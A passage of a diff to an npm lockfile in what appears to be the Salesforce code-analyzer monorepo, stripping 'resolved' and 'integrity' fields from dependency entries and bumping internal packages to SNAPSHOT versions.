"node_modules/zip-stream/node_modules/readable-stream": { "version": "4.7.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-4.7.0.tgz", - "integrity": "sha512-oIGGmcpTLwPga8Bn6/Z75SVaH1z5dUut2ibSyAMVhmUggWpmDn2dapB0n7f8nwaSiRtepAsfJyfXIO5DCVAODg==", "license": "MIT", "dependencies": { "abort-controller": "^3.0.0", @@ -10658,8 +9947,6 @@ }, "node_modules/zip-stream/node_modules/safe-buffer": { "version": "5.2.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", - "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", "funding": [ { "type": "github", @@ -10678,8 +9965,6 @@ }, "node_modules/zip-stream/node_modules/string_decoder": { "version": "1.3.0", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", - "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", "license": "MIT", "dependencies": { "safe-buffer": "~5.2.0" @@ -10704,10 +9989,10 @@ }, "packages/code-analyzer-apexguru-engine": { "name": "@salesforce/code-analyzer-apexguru-engine", - "version": "0.42.0", + "version": "0.43.0-SNAPSHOT", "license": "BSD-3-Clause", "dependencies": { - "@salesforce/code-analyzer-engine-api": "0.41.0", + "@salesforce/code-analyzer-engine-api": "0.42.0-SNAPSHOT", "@salesforce/core": "^8.31.2", "archiver": "^7.0.1", "form-data": "^4.0.6" @@ -10730,8 +10015,6 @@ }, "packages/code-analyzer-apexguru-engine/node_modules/@eslint/eslintrc": { "version": "3.3.6", - "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-3.3.6.tgz", - "integrity": "sha512-l2Ul9PrHsPCKcEY/ac7VgFj9D80C7S68sOKc618SyHDPK36s1XcFebXY0iTzUVn4Yq+YbwvSnDmCz9yxjX+QrA==", "dev": true, "license": "MIT", "dependencies": { @@ -10754,8 +10037,6 @@ }, "packages/code-analyzer-apexguru-engine/node_modules/@eslint/js": { "version": "9.39.5", - "resolved": "https://registry.npmjs.org/@eslint/js/-/js-9.39.5.tgz", - "integrity": "sha512-QywQuszQh77pIXCsq998c8hbhSTI/azTty1Z6N53dmAudKHhy573j3yvRLsX2BSp8YpLtoCEG8E9DJe+8zUh4A==", "dev": true, "license": "MIT", "engines": { @@ -10767,8 +10048,6 @@ }, "packages/code-analyzer-apexguru-engine/node_modules/brace-expansion": { "version": "1.1.16", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.16.tgz", - "integrity": "sha512-IDw48K2/2kRkg9LdJxurvq3lV3aBgq0REY89duEqFRthjlPdXHKMj7EnQOXVckxzgisinf3nHfrcE2FufFLXMw==", "dev": true, "license": "MIT", "dependencies": { @@ -10778,8 +10057,6 @@ }, "packages/code-analyzer-apexguru-engine/node_modules/eslint": { "version": "9.39.5", - "resolved": "https://registry.npmjs.org/eslint/-/eslint-9.39.5.tgz", - "integrity": "sha512-DgZS62aPLXKlnxILS/AYCoRvHaZeXceIzlXPkkGGzJWSow1aEk0lbTlxUSlyjC8jcaKxAdOnTDz+o1JFSBsyjw==", "dev": true, "license": "MIT", "dependencies": { @@ -10838,8 +10115,6 @@ }, "packages/code-analyzer-apexguru-engine/node_modules/eslint-scope": { "version": "8.4.0", - "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-8.4.0.tgz", - "integrity": "sha512-sNXOfKCn74rt8RICKMvJS7XKV/Xk9kA7DyJr8mJik3S7Cwgy3qlkkmyS2uQB3jiJg6VNdZd/pDBJu0nvG2NlTg==", "dev": true, "license": "BSD-2-Clause", "dependencies": { @@ -10855,8 +10130,6 @@ }, "packages/code-analyzer-apexguru-engine/node_modules/eslint-visitor-keys": { "version": "4.2.1", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz", - "integrity": "sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==", "dev": true, "license": "Apache-2.0", "engines": { @@ -10868,8 +10141,6 @@ }, "packages/code-analyzer-apexguru-engine/node_modules/espree": { "version": "10.4.0", - "resolved": "https://registry.npmjs.org/espree/-/espree-10.4.0.tgz", - "integrity": "sha512-j6PAQ2uUr79PZhBjP5C5fhl8e39FmRnOjsD5lGnWrFU8i2G776tBK7+nP8KuQUTTyAZUwfQqXAgrVH5MbH9CYQ==", "dev": true, "license": "BSD-2-Clause", "dependencies": { @@ -10886,8 +10157,6 @@ }, "packages/code-analyzer-apexguru-engine/node_modules/estraverse": { "version": "5.3.0", - "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", - "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", "dev": true, "license": "BSD-2-Clause", "engines": { @@ -10896,8 +10165,6 @@ }, "packages/code-analyzer-apexguru-engine/node_modules/file-entry-cache": { "version": "8.0.0", - "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-8.0.0.tgz", - "integrity": "sha512-XXTUwCvisa5oacNGRP9SfNtYBNAMi+RPwBFmblZEF7N7swHYQS6/Zfk7SRwx4D5j3CH211YNRco1DEMNVfZCnQ==", "dev": true, "license": "MIT", "dependencies": { @@ -10909,8 +10176,6 @@ }, "packages/code-analyzer-apexguru-engine/node_modules/flat-cache": { "version": "4.0.1", - "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-4.0.1.tgz", - "integrity": "sha512-f7ccFPK3SXFHpx15UIGyRJ/FJQctuKZ0zVuN3frBo4HnK3cay9VEW0R6yPYFHC0AgqhukPzKjq22t5DmAyqGyw==", "dev": true, "license": "MIT", "dependencies": { @@ -10923,8 +10188,6 @@ }, "packages/code-analyzer-apexguru-engine/node_modules/globals": { "version": "14.0.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-14.0.0.tgz", - "integrity": "sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ==", "dev": true, "license": "MIT", "engines": { @@ -10936,8 +10199,6 @@ }, "packages/code-analyzer-apexguru-engine/node_modules/ignore": { "version": "5.3.2", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", - "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", "dev": true, "license": "MIT", "engines": { @@ -10946,8 +10207,6 @@ }, "packages/code-analyzer-apexguru-engine/node_modules/minimatch": { "version": "3.1.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", - "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", "dev": true, "license": "ISC", "dependencies": { @@ -10959,10 +10218,10 @@ }, "packages/code-analyzer-core": { "name": "@salesforce/code-analyzer-core", - "version": "0.52.0", + "version": "0.53.0-SNAPSHOT", "license": "BSD-3-Clause", "dependencies": { - "@salesforce/code-analyzer-engine-api": "0.41.0", + "@salesforce/code-analyzer-engine-api": "0.42.0-SNAPSHOT", "@types/node": "^20.0.0", "csv-stringify": "^6.8.1", "isbinaryfile": "^5.0.7", @@ -10990,8 +10249,6 @@ }, "packages/code-analyzer-core/node_modules/@eslint/eslintrc": { "version": "3.3.6", - "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-3.3.6.tgz", - "integrity": "sha512-l2Ul9PrHsPCKcEY/ac7VgFj9D80C7S68sOKc618SyHDPK36s1XcFebXY0iTzUVn4Yq+YbwvSnDmCz9yxjX+QrA==", "dev": true, "license": "MIT", "dependencies": { @@ -11014,8 +10271,6 @@ }, "packages/code-analyzer-core/node_modules/@eslint/js": { "version": "9.39.5", - "resolved": "https://registry.npmjs.org/@eslint/js/-/js-9.39.5.tgz", - "integrity": "sha512-QywQuszQh77pIXCsq998c8hbhSTI/azTty1Z6N53dmAudKHhy573j3yvRLsX2BSp8YpLtoCEG8E9DJe+8zUh4A==", "dev": true, "license": "MIT", "engines": { @@ -11027,8 +10282,6 @@ }, "packages/code-analyzer-core/node_modules/brace-expansion": { "version": "1.1.16", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.16.tgz", - "integrity": "sha512-IDw48K2/2kRkg9LdJxurvq3lV3aBgq0REY89duEqFRthjlPdXHKMj7EnQOXVckxzgisinf3nHfrcE2FufFLXMw==", "dev": true, "license": "MIT", "dependencies": { @@ -11038,8 +10291,6 @@ }, "packages/code-analyzer-core/node_modules/eslint": { "version": "9.39.5", - "resolved": "https://registry.npmjs.org/eslint/-/eslint-9.39.5.tgz", - "integrity": "sha512-DgZS62aPLXKlnxILS/AYCoRvHaZeXceIzlXPkkGGzJWSow1aEk0lbTlxUSlyjC8jcaKxAdOnTDz+o1JFSBsyjw==", "dev": true, "license": "MIT", "dependencies": { @@ -11113,8 +10364,6 @@ }, "packages/code-analyzer-core/node_modules/eslint-visitor-keys": { "version": "4.2.1", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz", - "integrity": "sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==", "dev": true, "license": "Apache-2.0", "engines": { @@ -11126,8 +10375,6 @@ }, "packages/code-analyzer-core/node_modules/espree": { "version": "10.4.0", - "resolved": "https://registry.npmjs.org/espree/-/espree-10.4.0.tgz", - "integrity": "sha512-j6PAQ2uUr79PZhBjP5C5fhl8e39FmRnOjsD5lGnWrFU8i2G776tBK7+nP8KuQUTTyAZUwfQqXAgrVH5MbH9CYQ==", "dev": true, "license": "BSD-2-Clause", "dependencies": { @@ -11175,8 +10422,6 @@ }, "packages/code-analyzer-core/node_modules/globals": { "version": "14.0.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-14.0.0.tgz", - "integrity": "sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ==", "dev": true, "license": "MIT", "engines": { @@ -11188,8 +10433,6 @@ }, "packages/code-analyzer-core/node_modules/ignore": { "version": "5.3.2", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", - "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", "dev": true, "license": "MIT", "engines": { @@ -11198,8 +10441,6 @@ }, "packages/code-analyzer-core/node_modules/minimatch": { "version": "3.1.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", - "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", "dev": true, "license": "ISC", "dependencies": { @@ -11211,7 +10452,7 @@ }, "packages/code-analyzer-engine-api": { "name": "@salesforce/code-analyzer-engine-api", - "version": "0.41.0", + "version": "0.42.0-SNAPSHOT", "license": "BSD-3-Clause", "dependencies": { "@types/node": "^20.0.0", @@ -11233,8 +10474,6 @@ }, "packages/code-analyzer-engine-api/node_modules/@eslint/eslintrc": { "version": "3.3.6", - "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-3.3.6.tgz", - "integrity": "sha512-l2Ul9PrHsPCKcEY/ac7VgFj9D80C7S68sOKc618SyHDPK36s1XcFebXY0iTzUVn4Yq+YbwvSnDmCz9yxjX+QrA==", "dev": true, "license": "MIT", "dependencies": { @@ -11257,15 +10496,11 @@ }, "packages/code-analyzer-engine-api/node_modules/@eslint/eslintrc/node_modules/balanced-match": { "version": "1.0.2", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", - "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", "dev": true, "license": "MIT" }, "packages/code-analyzer-engine-api/node_modules/@eslint/eslintrc/node_modules/brace-expansion": { "version": "1.1.16", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.16.tgz", - "integrity": "sha512-IDw48K2/2kRkg9LdJxurvq3lV3aBgq0REY89duEqFRthjlPdXHKMj7EnQOXVckxzgisinf3nHfrcE2FufFLXMw==", "dev": true, "license": "MIT", "dependencies": { @@ -11275,8 +10510,6 @@ }, "packages/code-analyzer-engine-api/node_modules/@eslint/eslintrc/node_modules/minimatch": { "version": "3.1.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", - "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", "dev": true, "license": "ISC", "dependencies": { @@ -11288,8 +10521,6 @@ }, "packages/code-analyzer-engine-api/node_modules/@eslint/js": { "version": "9.39.5", - "resolved": "https://registry.npmjs.org/@eslint/js/-/js-9.39.5.tgz", - "integrity": "sha512-QywQuszQh77pIXCsq998c8hbhSTI/azTty1Z6N53dmAudKHhy573j3yvRLsX2BSp8YpLtoCEG8E9DJe+8zUh4A==", "dev": true, "license": "MIT", "engines": { @@ -11301,8 +10532,6 @@ }, "packages/code-analyzer-engine-api/node_modules/balanced-match": { "version": "4.0.4", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-4.0.4.tgz", - "integrity": "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==", "license": "MIT", "engines": { "node": "18 || 20 || >=22" @@ -11310,8 +10539,6 @@ }, "packages/code-analyzer-engine-api/node_modules/brace-expansion": { "version": "5.0.5", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.5.tgz", - "integrity": "sha512-VZznLgtwhn+Mact9tfiwx64fA9erHH/MCXEUfB/0bX/6Fz6ny5EGTXYltMocqg4xFAQZtnO3DHWWXi8RiuN7cQ==", "license": "MIT", "dependencies": { "balanced-match": "^4.0.2" @@ -11322,8 +10549,6 @@ }, "packages/code-analyzer-engine-api/node_modules/eslint": { "version": "9.39.5", - "resolved": "https://registry.npmjs.org/eslint/-/eslint-9.39.5.tgz", - "integrity": "sha512-DgZS62aPLXKlnxILS/AYCoRvHaZeXceIzlXPkkGGzJWSow1aEk0lbTlxUSlyjC8jcaKxAdOnTDz+o1JFSBsyjw==", "dev": true, "license": "MIT", "dependencies": { @@ -11397,8 +10622,6 @@ }, "packages/code-analyzer-engine-api/node_modules/eslint-visitor-keys": { "version": "4.2.1", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz", - "integrity": "sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==", "dev": true, "license": "Apache-2.0", "engines": { @@ -11410,15 +10633,11 @@ }, "packages/code-analyzer-engine-api/node_modules/eslint/node_modules/balanced-match": { "version": "1.0.2", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", - "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", "dev": true, "license": "MIT" }, "packages/code-analyzer-engine-api/node_modules/eslint/node_modules/brace-expansion": { "version": "1.1.14", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.14.tgz", - "integrity": "sha512-MWPGfDxnyzKU7rNOW9SP/c50vi3xrmrua/+6hfPbCS2ABNWfx24vPidzvC7krjU/RTo235sV776ymlsMtGKj8g==", "dev": true, "license": "MIT", "dependencies": { @@ -11428,8 +10647,6 @@ }, "packages/code-analyzer-engine-api/node_modules/eslint/node_modules/minimatch": { "version": "3.1.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", - "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", "dev": true, "license": "ISC", "dependencies": { @@ -11441,8 +10658,6 @@ }, "packages/code-analyzer-engine-api/node_modules/espree": { "version": "10.4.0", - "resolved": "https://registry.npmjs.org/espree/-/espree-10.4.0.tgz", - "integrity": "sha512-j6PAQ2uUr79PZhBjP5C5fhl8e39FmRnOjsD5lGnWrFU8i2G776tBK7+nP8KuQUTTyAZUwfQqXAgrVH5MbH9CYQ==", "dev": true, "license": "BSD-2-Clause", "dependencies": { @@ -11490,8 +10705,6 @@ }, "packages/code-analyzer-engine-api/node_modules/globals": { "version": "14.0.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-14.0.0.tgz", - "integrity": "sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ==", "dev": true, "license": "MIT", "engines": { @@ -11503,8 +10716,6 @@ }, "packages/code-analyzer-engine-api/node_modules/ignore": { "version": "5.3.2", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", - "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", "dev": true, "license": "MIT", "engines": { @@ -11513,8 +10724,6 @@ }, "packages/code-analyzer-engine-api/node_modules/minimatch": { "version": "10.2.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.2.5.tgz", - "integrity": "sha512-MULkVLfKGYDFYejP07QOurDLLQpcjk7Fw+7jXS2R2czRQzR56yHRveU5NDJEOviH+hETZKSkIk5c+T23GjFUMg==", "license": "BlueOak-1.0.0", "dependencies": { "brace-expansion": "^5.0.5" @@ -11528,7 +10737,7 @@ }, "packages/code-analyzer-eslint-engine": { "name": "@salesforce/code-analyzer-eslint-engine", - "version": "0.46.0", + "version": "0.47.0-SNAPSHOT", "license": "BSD-3-Clause", "dependencies": { "@babel/preset-react": "^7.29.7", @@ -11536,8 +10745,8 @@ "@lwc/eslint-plugin-lwc": "^3.5.0", "@lwc/eslint-plugin-lwc-platform": "^6.3.0", "@salesforce-ux/eslint-plugin-slds": "^1.2.1", - "@salesforce/code-analyzer-engine-api": "0.41.0", - "@salesforce/code-analyzer-eslint8-engine": "0.18.0", + "@salesforce/code-analyzer-engine-api": "0.42.0-SNAPSHOT", + "@salesforce/code-analyzer-eslint8-engine": "0.19.0-SNAPSHOT", "@salesforce/eslint-config-lwc": "^4.1.2", "@salesforce/eslint-plugin-lightning": "^2.0.0", "@types/node": "^20.0.0", @@ -11628,8 +10837,6 @@ }, "packages/code-analyzer-eslint-engine/node_modules/@eslint/eslintrc": { "version": "3.3.6", - "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-3.3.6.tgz", - "integrity": "sha512-l2Ul9PrHsPCKcEY/ac7VgFj9D80C7S68sOKc618SyHDPK36s1XcFebXY0iTzUVn4Yq+YbwvSnDmCz9yxjX+QrA==", "license": "MIT", "dependencies": { "ajv": "^6.14.0", @@ -11651,8 +10858,6 @@ }, "packages/code-analyzer-eslint-engine/node_modules/@eslint/eslintrc/node_modules/brace-expansion": { "version": "1.1.16", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.16.tgz", - "integrity": "sha512-IDw48K2/2kRkg9LdJxurvq3lV3aBgq0REY89duEqFRthjlPdXHKMj7EnQOXVckxzgisinf3nHfrcE2FufFLXMw==", "license": "MIT", "dependencies": { "balanced-match": "^1.0.0", @@ -11661,8 +10866,6 @@ }, "packages/code-analyzer-eslint-engine/node_modules/@eslint/eslintrc/node_modules/globals": { "version": "14.0.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-14.0.0.tgz", - "integrity": "sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ==", "license": "MIT", "engines": { "node": ">=18" @@ -11673,8 +10876,6 @@ }, "packages/code-analyzer-eslint-engine/node_modules/@eslint/eslintrc/node_modules/minimatch": { "version": "3.1.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", - "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", "license": "ISC", "dependencies": { "brace-expansion": "^1.1.7" @@ -11685,8 +10886,6 @@ }, "packages/code-analyzer-eslint-engine/node_modules/@eslint/js": { "version": "9.39.5", - "resolved": "https://registry.npmjs.org/@eslint/js/-/js-9.39.5.tgz", - "integrity": "sha512-QywQuszQh77pIXCsq998c8hbhSTI/azTty1Z6N53dmAudKHhy573j3yvRLsX2BSp8YpLtoCEG8E9DJe+8zUh4A==", "license": "MIT", "engines": { "node": "^18.18.0 || ^20.9.0 || >=21.1.0" @@ -11697,8 +10896,6 @@ }, "packages/code-analyzer-eslint-engine/node_modules/@lwc/eslint-plugin-lwc": { "version": "3.5.0", - "resolved": "https://registry.npmjs.org/@lwc/eslint-plugin-lwc/-/eslint-plugin-lwc-3.5.0.tgz", - "integrity": "sha512-Xq4i0ZWhBp1ZbGXqv8KEUqAOzo07BCD3yFD/EdOPafMjpXkeH5RpCFn09+sXVe1vdqtm47JwX+OUDXOMWfIsQg==", "license": "MIT", "dependencies": { "fast-xml-parser": "^5.3.6", @@ -11791,8 +10988,6 @@ }, "packages/code-analyzer-eslint-engine/node_modules/eslint": { "version": "9.39.5", - "resolved": "https://registry.npmjs.org/eslint/-/eslint-9.39.5.tgz", - "integrity": "sha512-DgZS62aPLXKlnxILS/AYCoRvHaZeXceIzlXPkkGGzJWSow1aEk0lbTlxUSlyjC8jcaKxAdOnTDz+o1JFSBsyjw==", "license": "MIT", "dependencies": { "@eslint-community/eslint-utils": "^4.8.0", @@ -11864,8 +11059,6 @@ }, "packages/code-analyzer-eslint-engine/node_modules/eslint/node_modules/brace-expansion": { "version": "1.1.12", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz", - "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==", "license": "MIT", "dependencies": { "balanced-match": "^1.0.0", @@ -11884,8 +11077,6 @@ }, "packages/code-analyzer-eslint-engine/node_modules/eslint/node_modules/minimatch": { "version": "3.1.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", - "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", "license": "ISC", "dependencies": { "brace-expansion": "^1.1.7" @@ -11896,8 +11087,6 @@ }, "packages/code-analyzer-eslint-engine/node_modules/espree": { "version": "10.4.0", - "resolved": "https://registry.npmjs.org/espree/-/espree-10.4.0.tgz", - "integrity": "sha512-j6PAQ2uUr79PZhBjP5C5fhl8e39FmRnOjsD5lGnWrFU8i2G776tBK7+nP8KuQUTTyAZUwfQqXAgrVH5MbH9CYQ==", "license": "BSD-2-Clause", "dependencies": { "acorn": "^8.15.0", @@ -11913,8 +11102,6 @@ }, "packages/code-analyzer-eslint-engine/node_modules/espree/node_modules/eslint-visitor-keys": { "version": "4.2.1", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz", - "integrity": "sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==", "license": "Apache-2.0", "engines": { "node": "^18.18.0 || ^20.9.0 || >=21.1.0" @@ -11932,8 +11119,6 @@ }, "packages/code-analyzer-eslint-engine/node_modules/fast-xml-parser": { "version": "5.9.3", - "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-5.9.3.tgz", - "integrity": "sha512-brCNCeScma/kqa54J4PIDriSSSLssRkuYaUCpvHJulGc3HGI/xxKUCTDcYkAdqJsyb//ydpbxecjC3hB9+tb/g==", "funding": [ { "type": "github", @@ -11976,8 +11161,6 @@ }, "packages/code-analyzer-eslint-engine/node_modules/ignore": { "version": "5.3.2", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz", - "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", "license": "MIT", "engines": { "node": ">= 4" @@ -11985,8 +11168,6 @@ }, "packages/code-analyzer-eslint-engine/node_modules/strnum": { "version": "2.4.1", - "resolved": "https://registry.npmjs.org/strnum/-/strnum-2.4.1.tgz", - "integrity": "sha512-M9eUSMT2dCB2cTNPG7UYj6KuK7RJR2SN2+yCV/fTW3xzTCS6EaGZ5pSMgDIjB7r8zSfTGk+dvvn9rTjpVS9Mwg==", "funding": [ { "type": "github", @@ -12000,7 +11181,7 @@ }, "packages/code-analyzer-eslint8-engine": { "name": "@salesforce/code-analyzer-eslint8-engine", - "version": "0.18.0", + "version": "0.19.0-SNAPSHOT", "license": "BSD-3-Clause", "dependencies": { "@babel/core": "7.27.4", @@ -12008,7 +11189,7 @@ "@eslint/js": "8.57.1", "@lwc/eslint-plugin-lwc": "2.2.0", "@lwc/eslint-plugin-lwc-platform": "5.2.0", - "@salesforce/code-analyzer-engine-api": "0.41.0", + "@salesforce/code-analyzer-engine-api": "0.42.0-SNAPSHOT", "@salesforce/eslint-config-lwc": "3.7.2", "@salesforce/eslint-plugin-lightning": "1.0.1", "@types/node": "^20.0.0", @@ -12036,8 +11217,6 @@ }, "packages/code-analyzer-eslint8-engine/node_modules/@babel/core": { "version": "7.27.4", - "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.27.4.tgz", - "integrity": "sha512-bXYxrXFubeYdvB0NhD/NBB3Qi6aZeV20GOWVI47t2dkecCEoneR4NPVcb7abpXDEvejgrUfFtG6vG/zxAKmg+g==", "license": "MIT", "dependencies": { "@ampproject/remapping": "^2.2.0", @@ -12066,8 +11245,6 @@ }, "packages/code-analyzer-eslint8-engine/node_modules/@babel/core/node_modules/semver": { "version": "6.3.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", - "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", "license": "ISC", "bin": { "semver": "bin/semver.js" @@ -12075,8 +11252,6 @@ }, "packages/code-analyzer-eslint8-engine/node_modules/@babel/eslint-parser": { "version": "7.27.5", - "resolved": "https://registry.npmjs.org/@babel/eslint-parser/-/eslint-parser-7.27.5.tgz", - "integrity": "sha512-HLkYQfRICudzcOtjGwkPvGc5nF1b4ljLZh1IRDj50lRZ718NAKVgQpIAUX8bfg6u/yuSKY3L7E0YzIV+OxrB8Q==", "license": "MIT", "dependencies": { "@nicolo-ribaudo/eslint-scope-5-internals": "5.1.1-v1", @@ -12093,8 +11268,6 @@ }, "packages/code-analyzer-eslint8-engine/node_modules/@babel/eslint-parser/node_modules/semver": { "version": "6.3.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", - "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", "license": "ISC", "bin": { "semver": "bin/semver.js" @@ -12180,8 +11353,6 @@ }, "packages/code-analyzer-eslint8-engine/node_modules/@typescript-eslint/eslint-plugin": { "version": "8.30.1", - "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.30.1.tgz", - "integrity": "sha512-v+VWphxMjn+1t48/jO4t950D6KR8JaJuNXzi33Ve6P8sEmPr5k6CEXjdGwT6+LodVnEa91EQCtwjWNUCPweo+Q==", "license": "MIT", "dependencies": { "@eslint-community/regexpp": "^4.10.0", @@ -12209,8 +11380,6 @@ }, "packages/code-analyzer-eslint8-engine/node_modules/@typescript-eslint/eslint-plugin/node_modules/@typescript-eslint/type-utils": { "version": "8.30.1", - "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-8.30.1.tgz", - "integrity": 